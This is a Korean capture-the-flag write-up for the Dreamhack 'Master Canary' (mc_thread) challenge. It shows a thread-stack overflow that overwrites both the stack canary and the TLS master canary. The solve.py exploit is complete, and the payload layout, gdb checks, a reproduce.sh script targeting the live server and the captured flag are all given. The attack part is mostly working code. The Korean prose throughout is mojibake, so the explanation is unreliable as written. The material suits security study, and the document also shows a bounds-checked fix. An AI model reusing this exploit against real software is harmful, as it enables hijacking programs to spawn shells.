rax = 0x4343434343434343. ์ฐ๋ฆฌ๊ฐ ์ฑ์ด C ์ฌ๋ ๊ฐ๋ค. ์ฃฝ์ ๋ช
๋ น์ movb $0x0,0x972(%rax).
์ด๋๊ฐ์์ ์ฐ๋ฆฌ๊ฐ ๋ฎ์ ๊ฐ์ ํฌ์ธํฐ๋ก ๋ฏฟ๊ณ ์ญ์ฐธ์กฐํ๊ณ ์๋ค๋ ๋ป์ด๋ค.
ํฌ๋์ ์ฃผ์๊ฐ libc ์์ด๋ผ ๊ทธ ๊ทผ์ฒ๋ฅผ ๋ ๋ดค๋ค. ์ฌ๋ณผ์ด __libc_alloca_cutoff+...๋ก ์กํ๋๋ฐ,
์ด๊ฑด ๋ก์ปฌ ์ฌ๋ณผ์ด ์์ด์ ๊ฐ์ฅ ๊ฐ๊น์ด ๊ณต๊ฐ ์ฌ๋ณผ๋ก ํ์๋ ๊ฒ๋ฟ์ด๋ค. ๋ด์ฉ์ ๋ค๋ฅธ ํจ์๋ค.
objdump -d --no-show-raw-insn --start-address=0x90a70 --stop-address=0x90afa libc.so.6 \
| sed -E -f ../work/annot_cancel.sed
๋ ๊ฐ์ ํจ์๊ฐ ๋ถ์ด ์๋ค. ์ด๋ฆ์ ๋์ ์ฌ๋ณผ ํ
์ด๋ธ์ ์๋ค โ nm -D๋ก ๋ณด๋ฉด
๋ฐ๋ก ์์ด __libc_alloca_cutoff(0x90a20), ๋ค๊ฐ __pthread_register_cancel(0x90b00)์ด๋ผ
๊ทธ ์ฌ์ด์ ์ทจ์ ์ฒ๋ฆฌ ํจ์๋ค์ด๋ค. ํ๋ ์ผ๋ ๊ทธ๋๋ก๋ค. ์์ชฝ์ fs:0x972(์ทจ์ ํ์
)์
์ ๊ฐ์ ๋ฐํํ๋ฉด์ 1๋ก ๋ฐ๊พธ๊ณ , ๋ค์ชฝ์ ๊ทธ ์ ๊ฐ์ edi๋ก ๋ฐ์ ๋๋๋ฆฐ๋ค.
glibc์ __pthread_enable_asynccancel / __pthread_disable_asynccancel ์์ด๋ค.
read๋ ์ทจ์ ์ง์ (cancellation point)์ด๋ผ ํธ์ถ ์๋ค๋ก ์ด ๋์ ๋ถ๋ฅธ๋ค.
๋ฌธ์ ๋ ๋ ํจ์๊ฐ ๋ชจ๋ mov %fs:0x10,%rcx(๋๋ %rax)๋ก self ํฌ์ธํฐ๋ฅผ ์ฝ์ด์ ์ญ์ฐธ์กฐํ๋ค๋ ๊ฒ์ด๋ค.
enable์ชฝ:cmpb $0x0,0x971(%rcx)โself+0x971์ ์ฝ๋๋ค.disable์ชฝ:movb $0x0,0x972(%rax)โself+0x972์ ์ด๋ค.
์ ์ ์ํ์์๋ self๊ฐ fs_base ์์ ์ ๊ฐ๋ฆฌํค๋ ๊ทธ๋ฅ fs:0x971, fs:0x972์ ๊ฐ์ ์๋ฆฌ๋ค.
๊ทธ๋ฐ๋ฐ ์ฐ๋ฆฌ๊ฐ fs:0x10์ C๋ก ์ฑ์ฐ๋ ์๊ฐ ์ด ๊ฐ์ 0x4343...์ด ๋๊ณ ,
๋ฐ๋ก ๊ทธ read()๊ฐ ๋ฐํํ๋ฉด์ ๋ถ๋ฅด๋ disable์ด ๊ฑฐ๊ธฐ์ ์ฐ๋ ค๋ค ์ฃฝ๋๋ค.
์ฆ ์์๊ฐ ์ด๋ ๋ค. read๊ฐ fs:0x10 ์๋ฆฌ์ ์ฐ๋ฆฌ ๋ฐ์ดํฐ๋ฅผ ์ฐ๊ณ โ ๊ทธ read์ ๋ค์ฒ๋ฆฌ๋ก
disable_asynccancel์ด ๋ถ๋ฆฌ๊ณ โ ๋ฐฉ๊ธ ์ฐ๋ฆฌ๊ฐ ๋ง์น ํฌ์ธํฐ๋ฅผ ๊ทธ๋๋ก ์ด๋ค.
TCB๋ฅผ ์ง๋๊ฐ์ผ ํ๋๋ฐ, ์ง๋๊ฐ๋ ์๊ฐ ๋ค์ ๊ฑธ์์ด ๋ฌด๋์ง๋ ๊ตฌ์กฐ๋ค.
๐ฃ ํต์ฌ โ TCB๋ฅผ "ํต๊ณผ"ํ๋ ๋ฒ
fs:0x28์ ๋ฟ์ผ๋ ค๋ฉด ๊ทธ ์์ 0x00~0x27 ๋ค์ฏ ์นธ์ ๋ฐ๋์ ์ง๋์ผ ํ๋ค.
์ง์ธ ์๋ ์์ผ๋ ์ฃฝ์ง ์์ ๊ฐ์ผ๋ก ์ฑ์์ ์ง๋๊ฐ๋ค. ๊ฐ ์นธ์ ํ๋์ฉ ๋ฐ์ ธ ๋ดค๋ค.
| ์คํ์ | ํ๋ | ๋ฎ์ด๋ ๋๋ | ์ฑ์ด ๊ฐ |
|---|---|---|---|
fs:0x00 | tcb | ์ดํ ๊ฒฝ๋ก์์ ์ ์ฝ๋๋ค | 0 |
fs:0x08 | dtv | ๋์ TLS ์ ๊ทผ์๋ง ์ฐ์ธ๋ค. ๋จ์ ๊ฒฝ๋ก์๋ ์๋ค | 0 |
fs:0x10 | self | ์ญ์ฐธ์กฐ๋๋ค. ์ ํจํ ์ฐ๊ธฐ ๊ฐ๋ฅ ์ฃผ์์ฌ์ผ ํ๋ค | 0x404000 |
fs:0x18 | multiple_threads / gscope_flag | ๊ฐ์ ๋ฐ๋ผ ๊ฒฝ๋ก๊ฐ ๊ฐ๋ฆฐ๋ค | 0 |
fs:0x20 | sysinfo | x86-64์์๋ ์ ์ด๋ค | 0 |
fs:0x28 | stack_guard | ๋ชฉํ | 0xdeadbeefcafebabe |
self๋ฅผ ์ด๋๋ก ๋ณด๋ผ ๊ฒ์ธ๊ฐ
ํ์ํ ์กฐ๊ฑด์ ๋ ๊ฐ์ง๋ฟ์ด๋ค. self+0x971์ด ์ฝ์ ์ ์๊ณ , self+0x972์ ์ธ ์ ์์ผ๋ฉด ๋๋ค.
์ค๋ ๋ TCB์ ์ง์ง ์ฃผ์๋ ASLR ๋๋ฌธ์ ๋ชจ๋ฅธ๋ค. ํ์ง๋ง ์ด ๋ฐ์ด๋๋ฆฌ๋ No PIE๋ค.
๋ฐ์ด๋๋ฆฌ๊ฐ ์ฐจ์งํ๋ ์ฃผ์๋ ์คํํ ๋๋ง๋ค ๋๊ฐ๋ค.
readelf -lW mc_thread | grep -E "Type|LOAD|GNU_RELRO"
๋ง์ง๋ง LOAD๊ฐ 0x403e10์์ ์์ํด ๋ฉ๋ชจ๋ฆฌ ํฌ๊ธฐ 0x290, ์ฆ 0x4040a0๊น์ง๋ค. ๊ถํ์ RW.
GNU_RELRO๋ 0x403e10๋ถํฐ 0x1f0๋ฐ์ดํธ, ๋ค์ ๋งํด 0x404000์์ ๋๋๋ค.
๊ทธ๋์ RELRO๊ฐ ์ ์ฉ๋ ๋ค์๋ 0x404000 ์ดํ๋ ๊ณ์ ์ฐ๊ธฐ ๊ฐ๋ฅํ๋ค.
๋งคํ์ ํ์ด์ง ๋จ์๋ผ ์ค์ ๋ก๋ 0x404000๋ถํฐ 0x405000๊น์ง ํ ํ์ด์ง๊ฐ ํต์งธ๋ก rw-p๋ก ์กํ๋ค.
์์์ info proc mappings๋ก ์ด๋ฏธ ํ์ธํ ๊ทธ ์ค์ด๋ค. self = 0x404000์ผ๋ก ๋๋ฉด
self+0x972 = 0x404972๊ฐ ๊ทธ ํ์ด์ง ์์ ๋ค์ด์จ๋ค.
multiple_threads = 0์ด ์ฃผ๋ ๋ค
fs:0x18์ 0์ผ๋ก ๋ง๋ค๋ฉด glibc์ SINGLE_THREAD_P๊ฐ ์ฐธ์ด ๋๋ค.
๊ทธ๋ฌ๋ฉด ์ดํ์ read๋ ์ทจ์ ์ฒ๋ฆฌ ์์ฒด๋ฅผ ๊ฑด๋๋ฐ๊ณ ๊ณง์ฅ ์์คํ
์ฝ๋ก ๊ฐ๋ค.
self๋ฅผ ์์ ํ ๊ณณ์ผ๋ก ๋๋ ค๋์ ๊ฒ๋ง์ผ๋ก๋ ์ถฉ๋ถํ์ง๋ง, ์ด๊ฑธ ๊ฐ์ด ํด ๋๋ฉด
self๋ฅผ ๊ฑด๋๋ฆฌ๋ ๊ฒฝ๋ก ์์ฒด๊ฐ ์ฌ๋ผ์ ธ์ ๋ ํ์คํ๋ค.
์์๋ ๋ง๋ค. ํ์ด๋ก๋์์ self(+0x910)๊ฐ multiple_threads(+0x918)๋ณด๋ค ๋จผ์ ์ฐ์ด๋ฏ๋ก,
self๋ฅผ ๋ฎ์ ๊ทธ read์ ๋ค์ฒ๋ฆฌ๋ ์ด๋ฏธ 0x404000์ ์ด๋ค.
์ dtv๋ฅผ 0์ผ๋ก ๋ฌ๋ ๋๋
dtv๋ ๋์ TLS ๋ณ์๋ฅผ ์ฐพ์ ๋(__tls_get_addr) ์ฐ์ธ๋ค.
์นด๋๋ฆฌ ๊ฒ์ฌ๊ฐ ๋๋๊ณ giveshell๋ก ๊ฐ์ execve๋ฅผ ๋ถ๋ฅด๋ ๊ทธ ์งง์ ๊ฒฝ๋ก์๋ ๋์ TLS ์ ๊ทผ์ด ์๋ค.
execve๊ฐ ์คํจํ๋ฉด errno๋ฅผ ๊ฑด๋๋ฆฌ๋๋ฐ ๊ทธ๊ฑด initial-exec ๋ชจ๋ธ์ด๋ผ fs ์คํ์
์ง์ ์ ๊ทผ์ด๊ณ ,
์ ์ด์ ์ฑ๊ณตํ๋ฉด ๊ทธ ์ฝ๋๋ก ๋์์ค์ง๋ ์๋๋ค.
๐ฏ ํ์ด๋ก๋ ์กฐ๋ฆฝ
์ ๋ฆฌํ๋ฉด ์ด๋ ๊ฒ ๋๋ค. ์ด 0x930 = 2352๋ฐ์ดํธ, read_bytes๊ฐ 8๋ฐ์ดํธ์ฉ ์ฝ์ผ๋ size = 294๋ค.
buf ์คํ์
| ๊ธธ์ด | ๊ฐ |
|---|---|---|
+0x000 | 0x108 | A ์ฑ์ |
+0x108 | 8 | ์์กฐ ์นด๋๋ฆฌ 0xdeadbeefcafebabe |
+0x110 | 8 | saved rbp (์๋ฌด ๊ฐ) |
+0x118 | 8 | giveshell = 0x401256 |
+0x120 | 0x7e0 | C ์ฑ์ (์ ์ฐ๋ ์คํ + static TLS) |
+0x900 | 8 | tcb = 0 |
+0x908 | 8 | dtv = 0 |
+0x910 | 8 | self = 0x404000 |
+0x918 | 8 | multiple_threads = 0 |
+0x920 | 8 | sysinfo = 0 |
+0x928 | 8 | ๋ง์คํฐ ์นด๋๋ฆฌ = 0xdeadbeefcafebabe |
๋ฐํ ์ฃผ์๋ฅผ giveshell์ ์์(0x401256)์ผ๋ก ์ก๋ ๊ฒ ๋ง๋์ง๋ ํ์ธํด ๋๋ค.
0000000000401256 <giveshell>:
401256: endbr64
40125a: push rbp
40125b: mov rbp,rsp
40125e: mov edx,0x0 ; envp = NULL
401263: mov esi,0x0 ; argv = NULL
401268: lea rax,[rip+0xd95] ; "/bin/sh"
40126f: mov rdi,rax
401272: call 401100 <execve@plt>์ธ์๋ฅผ ์ ๋ถ ์๊ธฐ๊ฐ ์ธํ
ํ๋ ์คํ ์ ๋ ฌ๋ง ๋ง์ผ๋ฉด ๊ทธ๋ฅ ๋ค์ด๊ฐ๋ฉด ๋๋ค.
endbr64๋ก ์์ํ๋ ๊ฒ๋ ๋คํ์ด๋ค โ ์ด ๋ฐ์ด๋๋ฆฌ๋ IBT ํ๋กํผํฐ๊ฐ ๋ถ์ด ์์ด์,
๊ฐ์ ๋ถ๊ธฐ ๋์์ด ๋๋ ค๋ฉด endbr64๊ฐ ํ์ํ ์ ์๋ค. ํจ์ ์์์ผ๋ก ๋ฐ๋ ๋ฌธ์ ์๋ค.
๋ฎ์ด๊ณ ๋์์ ์ํ๋ฅผ ํ์ธ
ํ์ด๋ก๋๊ฐ ์๋๋๋ก ๋ค์ด๊ฐ๋์ง, ์นด๋๋ฆฌ ๊ฒ์ฌ ์ง์ (0x40139b)์ ๋ฉ์ถฐ์ ๋ณธ๋ค.
set confirm off
set pagination off
# read_bytes ๊ฐ ๋๋ ์งํ (์นด๋๋ฆฌ ๊ฒ์ฌ ์ง์ ) ์ํ๋ฅผ ๋ณธ๋ค
break *0x40139b
run < payload.bin
printf "\n=== read_bytes ์งํ ===\n"
printf "stack canary [rbp-0x8] = %p\n", *(unsigned long*)($rbp-0x8)
printf "master canary fs:0x28 = %p\n", *(unsigned long*)((long)$fs_base+0x28)
printf "return addr [rbp+0x8] = %p ", *(unsigned long*)($rbp+0x8)
info symbol *(unsigned long*)($rbp+0x8)
printf "tcb.self fs:0x10 = %p\n", *(unsigned long*)((long)$fs_base+0x10)
printf "multiple_threads fs:0x18= %d\n", *(int*)((long)$fs_base+0x18)
quitpython3 gen_payload.py final
gdb -q -batch -x verify_after.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | cat -s
- ์คํ ๋ณต์ฌ๋ณธ
0xdeadbeefcafebabe - TLS ์๋ณธ
0xdeadbeefcafebabeโ ๋ ๊ฐ์ด ๊ฐ์ผ๋__stack_chk_fail์ ์ ๋ถ๋ฆฐ๋ค - ๋ฐํ ์ฃผ์
0x401256, gdb๊ฐgiveshell in section .text๋ก ์ฌ๋ณผ๊น์ง ํ์ธํด ์ค๋ค self๋0x404000,multiple_threads๋ 0
์๋ํ ๊ทธ๋๋ก๋ค.
๐ Full Exploit
solve.py ์ ๋ฌธ์ด๋ค. ์ธ์ ์์ด ๋๋ฆฌ๋ฉด ๋ก์ปฌ(./mc_thread), remote host:port๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธ ์๋ฒ๋ค.
๋ก์ปฌ์๋ ์ง์ง flag๊ฐ ์์ผ๋ ์
ธ์ ์ก์๋ค๋ ํ์๋ง ์ฐ๊ฒ ํ๋ค.
#!/usr/bin/env python3
# Master Canary (mc_thread) โ ์ค๋ ๋ ์คํ ์ค๋ฒํ๋ก์ฐ๋ก TLS ์ ๋ง์คํฐ ์นด๋๋ฆฌ๊น์ง ๋ฎ์ด์ด๋ค.
#
# local : python3 solve.py
# remote: python3 solve.py remote host3.dreamhack.games:15836
#
# ์ธ์ ์์ด ์คํํ๋ฉด ๋ก์ปฌ(./mc_thread)์ด๋ค. ๋ก์ปฌ์ flag ๊ฐ ์์ผ๋ฏ๋ก ์
ธ ํ๋๋ง ํ์ธํ๋ค.
from pwn import *
import sys
context.arch = "amd64"
context.log_level = "info"
GIVESHELL = 0x401256 # giveshell() โ execve("/bin/sh", 0, 0)
# gdb ๋ก ์ค์ธกํ ๊ฐ (work/find_offset.gdb). thread_routine ์ buf ๊ธฐ์ค ์คํ์
.
OFF_CANARY = 0x108 # buf -> [rbp-0x8] ์คํ ์นด๋๋ฆฌ ๋ณต์ฌ๋ณธ
OFF_RET = 0x118 # buf -> [rbp+0x8] ๋ฐํ ์ฃผ์
OFF_MASTER = 0x928 # buf -> fs:0x28 TLS ์์ ๋ง์คํฐ ์นด๋๋ฆฌ
FAKE = 0xDEADBEEFCAFEBABE # ๋ง์คํฐ/์คํ ์์ชฝ์ ๊ฐ์ ๊ฐ์ ์ฌ๋๋ค
SAFE_SELF = 0x404000 # No-PIE ๋ผ ํญ์ ๊ณ ์ . rw-p ํ์ด์ง(0x404000~0x405000) ์์์
OFF_TCB = OFF_MASTER - 0x28 # buf -> fs:0x00 (tcbhead_t ์์)
def build_payload():
p = b"A" * OFF_CANARY # buf[256] + ์ ๋ ฌ ํจ๋ฉ
p += p64(FAKE) # [rbp-0x8] ์คํ ์นด๋๋ฆฌ <- ์์กฐ๊ฐ
p += b"B" * 8 # [rbp+0x0] saved rbp (์๋ฌด ๊ฐ)
p += p64(GIVESHELL) # [rbp+0x8] ๋ฐํ ์ฃผ์ <- giveshell()
p += b"C" * (OFF_TCB - len(p)) # ์ค๋ ๋ ์คํ ๋๋จธ์ง + static TLS ๋ธ๋ก
# tcbhead_t ์๋ถ๋ถ โ ์ฌ๊ธฐ๋ฅผ ์๋ฌด ๊ฐ์ผ๋ก ๋ญ๊ฐ๋ฉด ๋ค์ read() ๊ฐ ์ฃฝ๋๋ค.
# fs:0x10(self) : __pthread_disable_asynccancel ์ด [self+0x972] ์ 0 ์ ์ด๋ค.
# -> No-PIE ๋ฐ์ด๋๋ฆฌ์ ์ฐ๊ธฐ ๊ฐ๋ฅ ํ์ด์ง(.bss ๋ค)๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ๋๋ค.
# fs:0x18(multiple_threads)=0 : ์ดํ read() ๊ฐ SINGLE_THREAD_P ๊ฒฝ๋ก๋ก ๋น ์ง๋ค.
p += p64(0) # fs:0x00 tcb
p += p64(0) # fs:0x08 dtv
p += p64(SAFE_SELF) # fs:0x10 self
p += p64(0) # fs:0x18 multiple_threads(int) + gscope_flag(int)
p += p64(0) # fs:0x20 sysinfo
p += p64(FAKE) # fs:0x28 ๋ง์คํฐ ์นด๋๋ฆฌ <- ๊ฐ์ ์์กฐ๊ฐ
assert len(p) == OFF_MASTER + 8 and len(p) % 8 == 0
return p
payload = build_payload()
size = len(payload) // 8 # read_bytes ๋ 8๋ฐ์ดํธ์ฉ size ๋ฒ ์ฝ๋๋ค
if len(sys.argv) > 2 and sys.argv[1] == "remote":
host, port = sys.argv[2].split(":")
p = remote(host, int(port))
cmd = b"cat flag"
else:
p = process("./mc_thread")
cmd = b"echo LOCAL_SHELL_OK; id"
log.info(f"payload {len(payload)} bytes / size = {size}")
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.recvuntil(b"Data: ")
p.send(payload)
p.sendline(cmd)
out = p.recvall(timeout=5)
print(out.decode(errors="replace").strip())๋จผ์ ๋ก์ปฌ์์ ํ์ธํ๋ค.
python3 solve.py
LOCAL_SHELL_OK์ id ๊ฒฐ๊ณผ๊ฐ ๋์์๋ค. execve("/bin/sh", 0, 0)์ด๋ผ argv๊ฐ NULL์ธ๋ฐ๋
์
ธ์ ์ ์์ ์ผ๋ก ๋ช
๋ น์ ๋ฐ๋๋ค.
์ด์ ๋ผ์ด๋ธ ์๋ฒ๋ค.
python3 solve.py remote host3.dreamhack.games:15836
DH{4aff595366eb9100145182b138c160003a59471c2da192bd67bb267210545e18}ํ์ ๋ง์ปค
์ค๊ฐ์ ๋งํ๋ฉด ์ด๋๊ฐ ์ด๊ธ๋ ๊ฒ์ธ์ง ํ๋ฉด์ผ๋ก ๊ตฌ๋ถํ ์ ์๋ค.
| ํ๋ฉด | ๋ป | ๋ณผ ๊ณณ |
|---|---|---|
*** stack smashing detected *** | ๋ ์นด๋๋ฆฌ๊ฐ ์๋ก ๋ค๋ฅด๋ค | 0x108๊ณผ 0x928 ์์น, ๋ ๊ฐ์ด ๊ฐ์์ง |
| ์๋ฌด ์ถ๋ ฅ ์์ด ์ฐ๊ฒฐ ์ข ๋ฃ | read_bytes ๋์ค SIGSEGV | fs:0x10(self)์ ์ ํจ ์ฃผ์๋ก ๋๋์ง |
Data: ๋ค์ ๊ทธ๋๋ก ๋ฉ์ถค | read๊ฐ 8๋ฐ์ดํธ๋ฅผ ๋ชป ์ฑ์ ๋ฃจํ ์กฐ๊ธฐ ์ข
๋ฃ | ํ์ด๋ก๋ ๊ธธ์ด๊ฐ size * 8๊ณผ ์ ํํ ๊ฐ์์ง |
Size: ๋ค์ ์๋ต ์์ | size๋ฅผ ๊ฐํ ์์ด ๋ณด๋๋ค | sendline์ผ๋ก ๋ณด๋ด๋์ง |
๐งช ์ฌํ โ reproduce.sh
๋ฐฐํฌ๋ณธ๋ง ์์ผ๋ฉด ๋ฐ๋ก ๋์๊ฐ๊ฒ ์คํฌ๋ฆฝํธ๋ก ๋ฌถ์ด ๋๋ค.
์ธ์ ์์ด ๋๋ฆฌ๋ฉด ๋ก์ปฌ ์
ธ๊น์ง, host:port๋ฅผ ์ฃผ๋ฉด ์ง์ง flag๊น์ง ํ์ธํ๋ค.
#!/usr/bin/env bash
# Master Canary (mc_thread, id 359) โ ํ ๋ฐฉ ์ฌํ.
#
# ./reproduce.sh ๋ก์ปฌ๋ง: ์
ธ์ ์ก๋์ง ํ์ธ (flag ์์)
# ./reproduce.sh host3.dreamhack.games:15836 ๋ผ์ด๋ธ: ์ค์ flag ๋ฅผ ๋ฝ์ ์ ๋ต๊ณผ ๋์กฐ
#
# ๋ก์ปฌ์๋ flag ๊ฐ ์๋ค(๋ฐฐํฌ๋ณธ flag ํ์ผ์ 'DH{**flag**}' ์๋ฆฌํ์์). ๊ทธ๋์ ๋ก์ปฌ PASS ๋
# "์
ธ์ ์ก์๋ค"๊น์ง๋ง ๋ปํ๋ค โ ์ง์ง flag ๋ ์ธ์๋ก ๋ผ์ด๋ธ ์๋ฒ๋ฅผ ์ค์ผ ๋์จ๋ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ .json'))['flag'])" 2>/dev/null || echo '')
# 1) ๋ฐฐํฌ๋ glibc 2.35 / ld ๋ก ๋๋๋ก ์์
์ฌ๋ณธ์ ๋ง๋ ๋ค (๋ฌธ์ ์๋ฒ๋ Ubuntu 22.04)
mkdir -p work
cp -f extracted/mc_thread extracted/libc.so.6 extracted/ld-linux-x86-64.so.2 work/
chmod +x work/mc_thread work/ld-linux-x86-64.so.2
patchelf --set-interpreter "$PWD/work/ld-linux-x86-64.so.2" --set-rpath "$PWD/work" work/mc_thread
cd work
if [ $# -eq 0 ]; then
OUT=$(timeout 120 python3 solve.py 2>&1) || true
echo "$OUT" | tail -6
if printf '%s' "$OUT" | grep -q 'LOCAL_SHELL_OK'; then
echo; echo "โ
PASS (๋ก์ปฌ ์
ธ ํ๋). ์ง์ง flag ๋ './reproduce.sh <host:port>' ๋ก."
exit 0
fi
echo; echo "โ FAIL โ ์
ธ์ ๋ชป ์ก์๋ค."; exit 1
fi
OUT=$(timeout 120 python3 solve.py remote "$1" 2>&1) || true
echo "$OUT" | tail -6
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo; echo "โ
PASS $FLAG"; exit 0
fi
echo; echo "โ FAIL (์ป์ ๊ฐ: '${FLAG:-์์}' / ๊ธฐ๋: '${EXPECT:-๋์กฐ๋ณธ ์์}')"; exit 1patchelf๊ฐ ์์ผ๋ฉด sudo apt install patchelf๋ก ๋ฃ์ผ๋ฉด ๋๋ค.
๋ผ์ด๋ธ ์ธ์คํด์ค๋ ์๊ฐ์ด ์ง๋๋ฉด ๋ง๋ฃ๋๋, ํฌํธ๊ฐ ๊ฑฐ๋ถ๋๋ฉด ์๋ฒ๋ฅผ ์๋ก ๋ฐ์ ์ธ์๋ง ๋ฐ๊พธ๋ฉด ๋๋ค.
๐ ๊ฒฐ๋ก
์นด๋๋ฆฌ๋ "๊ฐ์ ๋ชจ๋ฅธ๋ค"์ ๊ธฐ๋๋ ๋ฐฉ์ด๋ค
์นด๋๋ฆฌ ๊ฒ์ฌ๊ฐ ๋ง์ ์ฃผ๋ ๊ฒ์ "๋ฎ์ด์ธ ์๋ ์์ง๋ง ๊ทธ ๊ฐ์ ๋ง์ถ ์๋ ์๋ค"๋ ์ํฉ์ด๋ค. ์ ์ถ ๊ตฌ๋ฉ์ด ์์ผ๋ฉด ์์ ํ๋ค๊ณ ์๊ฐํ๊ธฐ ์ฌ์ด๋ฐ, ์ด ๋ฌธ์ ๋ ๊ทธ ์ ์ ์์ฒด๋ฅผ ๋น๊ปด๊ฐ๋ค. ๊ฐ์ ์์๋ผ ํ์ ์์ด ๋น๊ตํ๋ ๋ ํญ์ ๋ชจ๋ ์ฐ๋ฆฌ ๊ฐ์ผ๋ก ๋ฐ๊ฟ ๋ฒ๋ ธ๋ค.
๊ฐ์ ๋ ผ๋ฆฌ๋ ๋ค๋ฅธ ๊ณณ์๋ ์๋ค. ๋น๊ต ๋์์ด ๊ณต๊ฒฉ์์ ์ฐ๊ธฐ ๋ฒ์ ์์ ํจ๊ป ๋ค์ด ์์ผ๋ฉด ๊ทธ ๋น๊ต๋ ๊ฒ์ฌ๋ก์ ์๋ฏธ๊ฐ ์๋ค. ์นด๋๋ฆฌ๋ , ๊ธธ์ด ํ๋๋ , ์ฒดํฌ์ฌ์ด๋ ๋ง์ฐฌ๊ฐ์ง๋ค.
์ค๋ ๋ ์คํ์ ๋ฉ์ธ ์คํ๊ณผ ๋ค๋ฅด๋ค
๋ฉ์ธ ์ค๋ ๋์๋ค๋ฉด ๊ฐ์ ์ฝ๋๋ผ๋ ์ด ๊ณต๊ฒฉ์ด ์ ํตํ๋ค. TCB๊ฐ ์คํ๊ณผ ๋ค๋ฅธ ๋งคํ์ ์๊ณ ,
๊ทธ ์ฌ์ด์ ์ปค๋์ด ๊น์ ๋ ์์ญ์ด ํต์งธ๋ก ๋ผ์ด ์๊ธฐ ๋๋ฌธ์ด๋ค.
๋ฐ๋ฉด pthread_create๊ฐ ๋ง๋๋ ์คํ์ TCB๋ฅผ ์๊ธฐ ๊ผญ๋๊ธฐ์ ์น๋๋ค.
์คํ ์๋์ชฝ ๊ฐ๋ ํ์ด์ง๋ ์ฌ๊ธฐ์๋ ๋์์ด ์ ๋๋ค โ ๋์น๋ ๋ฐฉํฅ์ด ๋ฐ๋๋ค.
๋ง๋ ๋ฐฉ๋ฒ์ ๊ฒฐ๊ตญ ๊ธธ์ด ๊ฒ์ฌ๋ค
read_bytes๊ฐ size์ ์ํ์ ๋ณด๊ธฐ๋ง ํ์ผ๋ฉด ๋๋ ์ผ์ด์๋ค.
-fstack-protector-strong๋, NX๋, RELRO๋ ์ด ์ค๋ฒํ๋ก์ฐ ์์ฒด๋ฅผ ์ค์ด์ง๋ ๋ชปํ๋ค.
๋ฒํผ ํฌ๊ธฐ๋ฅผ ํจ์์ ๊ฐ์ด ๋๊ธฐ๊ณ ๊ทธ ์์์ ์๋ฅด๋, ๊ฐ์ฅ ์ฌ๋ฏธ์๋ ๋ฐฉ๋ฒ์ด ์ ๋ต์ด๋ค.
void read_bytes(char *buf, size_t cap, int size) {
for (int i = 0; i < size && (size_t)(i + 1) * 8 <= cap; i++)
if (read(0, buf + i * 8, 8) < 8)
return;
}๋งํ์ ๋๋ ์ฃฝ์ ์๋ฆฌ๋ฅผ ๋จผ์ ๋ณธ๋ค
์ด ๋ฌธ์ ์์ ์ ์ผ ์ค๋ ๊ฑธ๋ฆฐ ๋ถ๋ถ์ ์นด๋๋ฆฌ๊ฐ ์๋๋ผ self ํฌ์ธํฐ์๋ค.
"ํ์ด๋ก๋๊ฐ ๋ง๋๋ฐ ์ ์ฃฝ์ง"์์ ๋ฉ์ถ์ง ์๊ณ rax์ ๋ญ๊ฐ ๋ค์ด ์๋์ง ํ ๋ฒ ๋ณธ ๊ฒ ์ ๋ถ๋ค.
0x4343434343434343์ด ๋ฌ ์๊ฐ ๋ด๊ฐ ์ฑ์ด C๋ผ๋ ๊ฑธ ์์๊ณ , ๊ทธ๋๋ถํฐ๋
libc๋ฅผ ๋ ์ ๋๊ฐ ๊ทธ๊ฑธ ์ญ์ฐธ์กฐํ๋์ง ์ฐพ๋ ๊ธฐ๊ณ์ ์ธ ์์
์ด์๋ค.
ํฌ๋์ ์ง์ ์ ๋ ์ง์คํฐ๋ ๋๊ฐ ์ด๋ ๊ฒ ์๊ธฐ ์
๋ ฅ์ ๊ทธ๋๋ก ๋๋ ค์ค๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ